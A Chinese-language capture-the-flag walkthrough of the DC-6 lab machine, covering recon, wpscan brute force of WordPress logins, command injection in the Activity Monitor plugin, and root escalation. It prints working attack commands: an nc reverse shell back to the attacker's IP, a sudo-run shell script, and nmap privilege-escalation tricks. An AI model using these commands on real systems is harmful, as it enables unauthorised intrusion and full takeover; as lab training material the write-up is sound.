DC-6靶机下载地址:
攻击机kali的IP:192.168.37.131
靶机DC-6的IP:未知
一、信息收集
1、探测靶机的IP地址
方法一:nmap 扫描
方法二:扫描局域网存活的IP
2、探测目标靶机IP端口和服务
使用命令扫描目标IP:
nmap -O -A -p- 192.168.37.132
可以得到该靶机开放了22端口和80端口,直接访问80端口是访问不上的,这里和 DC-2 靶场一样,存在一个无法重定向的问题,所以我们修改一下 hosts 文件即可。
成功访问网页后再查看该网页的框架之类的信息,通过Wappalyzer可以知道CMS为WordPress
3、目录扫描
在kali中可以使用dirb命令扫描该网站,也可以利用dirsearch爆破网站获取信息
dirb http://wordy
或
dirsearch -u http://wordy
对扫描出的网站点击进入,页面会自动跳转到了一个后台登陆的网页
二、web渗透
1、暴力破解
拿到了一个后台登陆页面,首先进行弱口令登录一下,发现并不行,抓包使用burp尝试爆破也无果。前面通过信息收集查看网站指纹,知道CMS为WordPress,可以使用针对该CMS的账号爆破工具wpscan,可以利用 -e u参数来枚举用户:
wpscan --url http://wordy -e u
可以得到六个用户名,将他们保存到 usr.txt 文件中,再利用我们自己的字典对其进行爆破,但是需要一个比较大的字典才会有破解的可能性。在我们下载镜像靶场的时候,作者其实已经对我们进行了提示,存在着一个字典,可能会帮助我们减少很多时间,所以可以直接利用自带的字典进行爆破
将自带的字典文件复制到桌面中,使用命令进行爆破:
wpscan --url http://wordy -U usr.txt -P rockyou.txt
因为字典很大, 爆破所需要的时间过于漫长了,最后可以得到了 mark 用户的密码为helpdesk01
用这个账号密码登录
进入后台后每个模块都可以翻阅一下试试是否存在漏洞,在 usrs 一栏一中可以发现存在一个flag1
2、命令执行漏洞
在Activity monitor 插件中,在 Tools 中存在着一个注入点,这里输入IP或者数字,然后将用户的输入传到后台解析
尝试输入命令看看是否能被解析,可以发现能够进行命令执行。
3、nc建立反弹shell
但是在这个文本框中存在长度限制,我们可以选择修改前端或者抓包更改数据包,在kali中利用 nc
监听一个端口进行建立反弹shell
nc -lvvp 6666
开启侦听后通过抓包更改文本框中的数据反弹shell
nc -e /bin/bash 192.168.37.131 6666
发包过后可以发现 shell 已经回传到了kali上
可以利用python建立一个交互式的界面
python -c 'import pty;pty.spawn("/bin/bash")'
flag2的位置可以利用 find 命令来查找,可以发现flag2 在网页中,但是我前面没有找到
find / | grep flag2
查看flag2内容
获取 /etc/passwd 文件的内容可以得到flag3的内容
在home目录下,可以发现四个目录信息,分别查看四个目录,在jens目录下,存在一个压缩包和一个 .sh 脚本
在mark目录下中的stuff文件中的一个文本文档,发现 graham用户的密码
可以利用ssh连接,登录graham用户
ssh graham@192.168.37.132
在 graham 的家目录下,可以发现存在四个隐藏文件
分别进行查看可以发现在 .bash_history 有一个查看suid权限内容的命令
复制命令进行执行,发现可以利用 su 和 sudo 命令
使用 sudo -l 命令查看 graham 用户在使用sudo时的权限和可执行的命令,可以发现这里还可以以jens身份执行反弹shell脚本。
猜想如果用jens用户反弹shell,反弹回的则是jens用户的shell
在kali中开启nc监听5555端口
nc -lvvp 5555
再更改 backups.sh 的IP与端口指向 kali 的IP和开放的端口
最后 sudo 以 jens 用户的身份执行脚本反弹shell,成功连接后在利用python建立一个交互式界面利于查看
4、nmap提权
进入了 jens 用户再利用 sudo -l 查看 jens 使用 sudo
时的权限和可执行的命令,发现 jens 用户可以以 root 用户的身份执行 nmap
搜索一下如何利用nmap来提权
nmap 提权分为两种
旧版本上以进入交互式界面
nmap --interactive #进入 nmap 交互式界面
!sh #执行sh,交互成功
但是再 5.20版本之后nmap就没有交互式界面, 利用代码执行来获取到root权限
echo 'os.execute("/bin/sh")' > /tmp/test
sudo nmap --script=/tmp/test
查看这里的nmap的版本,版本为7.40,所以只能利用代码来获取root权限
执行命令便可以得到root权限
切换到root目录下即可获得到flag4